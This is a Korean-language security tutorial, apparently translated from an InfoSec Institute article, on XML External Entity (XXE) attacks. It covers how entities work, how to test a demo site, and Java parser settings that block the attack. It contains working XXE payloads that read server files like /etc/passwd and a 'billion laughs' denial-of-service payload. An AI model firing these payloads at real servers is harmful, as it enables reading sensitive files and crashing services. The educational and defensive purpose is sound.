기술문서 작성 XXE Attacks 작성자 : 인천대학교 OneScore 김영성 I. 소개 2 II. 본문 2 가. XML external entities 2 나. XXE Attack 3 다. 점검방법 3 라.

Similar documents
API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Docum

Microsoft Word - src.doc

PowerPoint Template

PowerPoint Presentation

Analytics > Log & Crash Search > Unity ios SDK [Deprecated] Log & Crash Unity ios SDK. TOAST SDK. Log & Crash Unity SDK Log & Crash Search. Log & Cras

C# Programming Guide - Types

인도 웹해킹 TCP/80 apache_struts2_remote_exec-4(cve ) 인도 웹해킹 TCP/80 apache_struts2_remote_exec-4(cve ) 183.8

Eclipse 와 Firefox 를이용한 Javascript 개발 발표자 : 문경대 11 년 10 월 26 일수요일

rmi_박준용_final.PDF

< FC8A8C6E4C0CCC1F620B0B3B9DF20BAB8BEC8B0A1C0CCB5E5C3D6C1BE28C0FAC0DBB1C7BBE8C1A6292E687770>

I T C o t e n s P r o v i d e r h t t p : / / w w w. h a n b i t b o o k. c o. k r

Mobile Service > IAP > Android SDK [ ] IAP SDK TOAST SDK. IAP SDK. Android Studio IDE Android SDK Version (API Level 10). Name Reference V

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D D382E687770>

JAVA 프로그래밍실습 실습 1) 실습목표 - 메소드개념이해하기 - 매개변수이해하기 - 새메소드만들기 - Math 클래스의기존메소드이용하기 ( ) 문제 - 직사각형모양의땅이있다. 이땅의둘레, 면적과대각

Cache_cny.ppt [읽기 전용]

mytalk

untitled

Java XPath API (한글)

Contents Contents 2 1 Abstract 3 2 Infer Checkers Eradicate Infer....

UDP Flooding Attack 공격과 방어

MasoJava4_Dongbin.PDF

PowerPoint Template

Intro to Servlet, EJB, JSP, WS

12-file.key

JMF2_심빈구.PDF

슬라이드 1

제목 레이아웃

170

006- 5¿ùc03ÖÁ¾T300çÃâ

PowerPoint Presentation

PowerPoint 프레젠테이션

DocsPin_Korean.pages

Secure Programming Lecture1 : Introduction

Network Programming

Microsoft PowerPoint - Supplement-03-TCP Programming.ppt [호환 모드]

DIY 챗봇 - LangCon

02 C h a p t e r Java

Microsoft PowerPoint - 03-TCP Programming.ppt

Research & Technique Apache Tomcat RCE 취약점 (CVE ) 취약점개요 지난 4월 15일전세계적으로가장많이사용되는웹애플리케이션서버인 Apache Tomcat에서 RCE 취약점이공개되었다. CVE 취약점은 W

Microsoft PowerPoint - 04-UDP Programming.ppt

슬라이드 1

목차 BUG DEQUEUE 의 WAIT TIME 이 1 초미만인경우, 설정한시간만큼대기하지않는문제가있습니다... 3 BUG [qp-select-pvo] group by 표현식에있는컬럼을참조하는집합연산이존재하지않으면결괏값오류가발생할수있습니다... 4

User's Guide Manual

교육2 ? 그림

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Week13

2) 활동하기 활동개요 활동과정 [ 예제 10-1]main.xml 1 <LinearLayout xmlns:android=" 2 xmlns:tools="

Cluster management software

<4D F736F F F696E74202D20C1A63038C0E520C5ACB7A1BDBABFCD20B0B4C3BC4928B0ADC0C729205BC8A3C8AF20B8F0B5E55D>

JavaGeneralProgramming.PDF

04장

Portal_9iAS.ppt [읽기 전용]

Microsoft PowerPoint - 11주차_Android_GoogleMap.ppt [호환 모드]

신림프로그래머_클린코드.key

제20회_해킹방지워크샵_(이재석)

14-Servlet


JDBC 소개및설치 Database Laboratory

JUNIT 실습및발표

Dialog Box 실행파일을 Web에 포함시키는 방법

PowerPoint Presentation

@OneToOne(cascade = = "addr_id") private Addr addr; public Emp(String ename, Addr addr) { this.ename = ename; this.a

Sena Device Server Serial/IP TM Version

01-OOPConcepts(2).PDF

Semantic Consistency in Information Exchange

<4D F736F F F696E74202D20C1A63234C0E520C0D4C3E2B7C228B0ADC0C729205BC8A3C8AF20B8F0B5E55D>

Windows Server 2012

NATE CP 컨텐츠 개발규격서_V4.4_1.doc

요약 1

TTA Journal No.157_서체변경.indd

nTOP CP 컨텐츠 개발규격서_V4.1_.doc

Microsoft Word Question.doc

XSS Attack - Real-World XSS Attacks, Chaining XSS and Other Attacks, Payloads for XSS Attacks

Microsoft PowerPoint - java1-lab5-ImageProcessorTestOOP.pptx

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp");

PowerPoint Presentation

PWR PWR HDD HDD USB USB Quick Network Setup Guide xdsl/cable Modem PC DVR 1~3 1.. DVR DVR IP xdsl Cable xdsl Cable PC PC DDNS (

ìœ€íŁ´IP( _0219).xlsx

Interstage5 SOAP서비스 설정 가이드

Data Sync Manager(DSM) Example Guide Data Sync Manager (DSM) Example Guide DSM Copyright 2003 Ari System, Inc. All Rights reserved. Data Sync Manager

게시판 스팸 실시간 차단 시스템

PowerPoint 프레젠테이션

자바-11장N'1-502

EndNote X2 초급 분당차병원도서실사서최근영 ( )

FileMaker ODBC and JDBC Guide

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O

0125_ 워크샵 발표자료_완성.key

untitled

[ 정보 ] 과학고 R&E 결과보고서 Monte Carlo Method 를이용한 고교배정시뮬레이션 연구기간 : ~ 연구책임자 : 강대욱 ( 전남대전자컴퓨터공학부 ) 지도교사 : 최미경 ( 전남과학고정보 컴퓨터과 ) 참여학생 : 박진명 ( 전

1

Connection 8 22 UniSQLConnection / / 9 3 UniSQL OID SET

PowerPoint 프레젠테이션

RHEV 2.2 인증서 만료 확인 및 갱신

Spring Data JPA Many To Many 양방향 관계 예제

3ÆÄÆ®-11

SMB_ICMP_UDP(huichang).PDF

DE1-SoC Board

PowerPoint Presentation

Transcription:

기술문서 14. 11. 10. 작성 XXE Attacks 작성자 : 인천대학교 OneScore 김영성 dokymania@naver.com I. 소개 2 II. 본문 2 가. XML external entities 2 나. XXE Attack 3 다. 점검방법 3 라. Exploit 5 마. 피해 6 III. 결론 6 가. 권고사항 6

I. 소개 가. 역자 본문서는 INFOSEC INSTITUTE의글 1) 을번역한것으로설명글과예제의원문은 INFOSEC INSTITUE에서확인할수있다. 나. XXE XXE(XML External Entitiy attack) 은현재 Facebook, Paypal 과같은메이저웹어플리케이션에서많이발견되고있다. 예를들어, 이러한사이트들의최근의 Bug Bounty 취약점을훑어봐도이를확인할수있다. XXE 공격이수년동안존재했었지만, 가치에비해주목을받지못하였다. 대부분의 XML parser들의기본설정은이공격에취약하다. 즉, XXE 공격은개발자들이확인할책임이있다. 이기술문서에서는 XML 외부 Entity가무엇인지, 어떻게공격받을수있는지에대해알아볼것이다. II. 본문 가. XML external entities XML이무엇인지모른다면, 데이터를표현하는무언가라고생각할수있다. 즉, 다른기술을사용하는두개의시스템이서로 XML을사용하여통신하고데이터를교환할수있다. 예를들어, 아래표는종업원을나타내는 XML 문서이다. 'name', 'salary' 그리고 address' 는 XML elements 라고한다. [ 표 1. XML docuemnt] <?xml version="1.0"?> <employee> <name>rohit</name> <salary>100</salary> <address>newyork</address> </employee> 이제이러한 XML 문서들은시스템구별자로정의된 'entities' 라는것을포함할수있다. 그 리고 DOCTYPE 헤더안에존재한다. 이러한 entities 들은 local 이나 remote 내용에접근할수 있다. 예를들어, 아래의표는 XML entities 를포함한 XML 문서를나타낸다. 1) http://resources.infosecinstitute.com/xxe-attacks/

[ 표 2. XML docuemnt] <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE rohit[ <!ENTITY entityex SYSTEM "file:///etc/passwd"> ]> <abc>&entityex;</abc> 위의코드에서, external entity 'entityex' 는 file:///etc/passwd 라는값으로선언되었다. XML 파싱중에, 이 entity는상대적인값으로교체될것이다. SYSTEM 키워드의사용은 parser로하여금 entity값을뒤에표현된 URI에서부터읽어오라고지시하는것이다. 그러므로, entity 값이여러번사용될때, 매우도움이된다. 나. XXE Attack XML entities와 'SYSTEM' 키워드는 XML parser로하여금 URI에서부터데이터를읽어서 XML 문서에표현되는것을가능하게한다. 그러므로, 공격자는자신의값을 entity를통해서보낼수있고, 웹어플리케이션으로하여금출력하도록할수있다. 간단하게, 공격자는 XML parser가공격자에의해지정된 local 혹은 remote 시스템의파일에접근하도록할수있다. 예를들어, 아래코드는시스템의 folder/file을가져와서사용자에게출력해준다. [ 표 3. XML docuemnt] <?xml version="1.0"?> <!DOCTYPE Rohit[ <!ENTITY entityex SYSTEM "file:///folder/file"> ]> <abc>&entityex;</abc> 다. 점검방법 1). 점검방법 가장직관적인방법은 XML을입력값으로받는엔드포인트들을확인하면된다. 그러나, 가끔 XML을받는엔드포인트가명확하지않을경우가있다 ( 예를들어, 고객이서비스에접근하기위해오직 JSON타입만사용할경우 ). 이런경우, 침투전문가들은어떻게어플리케이션이응답하는지보기위해 HTTP 메소드, Content-Type 등을수정해보는다른방법들을시도해봐야한다. 만약어플리케이션이내용을파싱할경우, XXE에취약할수있다.

2). 실습 데모를위해서, Acunetix web scanner 테스트사이트인 http://testhtml5.vulnweb.com 를사용하자. http://testhtml5.vulnweb.com 사이트에접속하여 Login' 아래에위치한 Forget Password' 를클릭하라. 어플리케이션이아래에서보듯이 XML을사용해데이터를전송하는것을확인하라. [ 그림 1. Request] [ 그림 2. Reponse] 위의 requests 와 response 를보면특정입력값을받고이를다시출력해주니까, 어플리케이 션이 XML 을처리하는것을확인할수있다.

[ 그림 3. 수정된 Requests & Reponse] 라. Exploit [ 표 4. exploit code] 1. To read files on same server: <?xml version="1.0" encoding="iso-8859-1"?> <!DOCTYPE foo [ <!ENTITY myentity SYSTEM "file:///location/anyfile" >]> <abc>&myentity;</abc> 2. To crash the server / Cause denial of service: <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">

<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> 위의코드는 billion laughs' 라고알려진공격으로, 거의 3GB정도의기하급수적인양의공간을갖는다. 이것외에도공격자는서버에존재하는민감한파일들 ( 어플리케이션에서접근할수있어야함 ) 을읽을수있고, 포트스캐닝등을수행하여백엔드시스템의열린포트를확인할수있다. 마. 피해 이취약점은공격자로하여금서버에존재하는민감한파일들을읽을수있게하거나, 서 버에 DOS 공격을수행할수있게하기때문에매우위험하다. III. 결론 다. 권고사항 주된문제점은위에서언급했듯이 XML parser가사용자로부터전송된신뢰할수없는데이터를파싱하는것이다. 그러나, DTD의시스템식별자내에표현된데이터들만을입증하는것은쉽지않거나불가능하다. 대부분의 XML parser들은기본적으로 XXE 공격에취약하다. 그러므로, 가장좋은해결책은 XML 처리기가 local static DTD를사용하도록설정하고이외의 XML 문서내에서선언된 DTD들을사용하지않도록설정하는것이다. 예를들어, Java( 아래코드에서보듯이 ) 에서, 상대적인속성들을 false 로설정함으로써, XXE 공격은방어할수있다. 그러므로 external entities, parameter entities, 그리고 inline DTD 들은 XXE 에기초한공격들을방어하기위해 false 로설정되어진다.

[ 표 5. 권고사항 ] import javax.xml.parsers.documentbuilderfactory; import javax.xml.parsers.parserconfigurationexception; // catching unsupported features... DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); try { // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities String FEATURE = "http://xml.org/sax/features/external-general-entities"; dbf.setfeature(feature, false); // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-parameter-entities // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities FEATURE = "http://xml.org/sax/features/external-parameter-entities"; dbf.setfeature(feature, false); // Xerces 2 only - http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl FEATURE = "http://apache.org/xml/features/disallow-doctype-decl"; dbf.setfeature(feature, true); // remaining parser logic... catch (ParserConfigurationException e) { // This should catch a failed setfeature feature logger.info("parserconfigurationexception was thrown. The feature '" +

FEATURE + "' is probably not supported by your XML processor.");... } catch (SAXException e) { // On Apache, this should be thrown when disallowing DOCTYPE logger.warning("a DOCTYPE was passed into the XML document");... } catch (IOException e) { // XXE that points to a file that doesn't exist logger.error("ioexception occurred, XXE may still possible: " + e.getmessage());.. }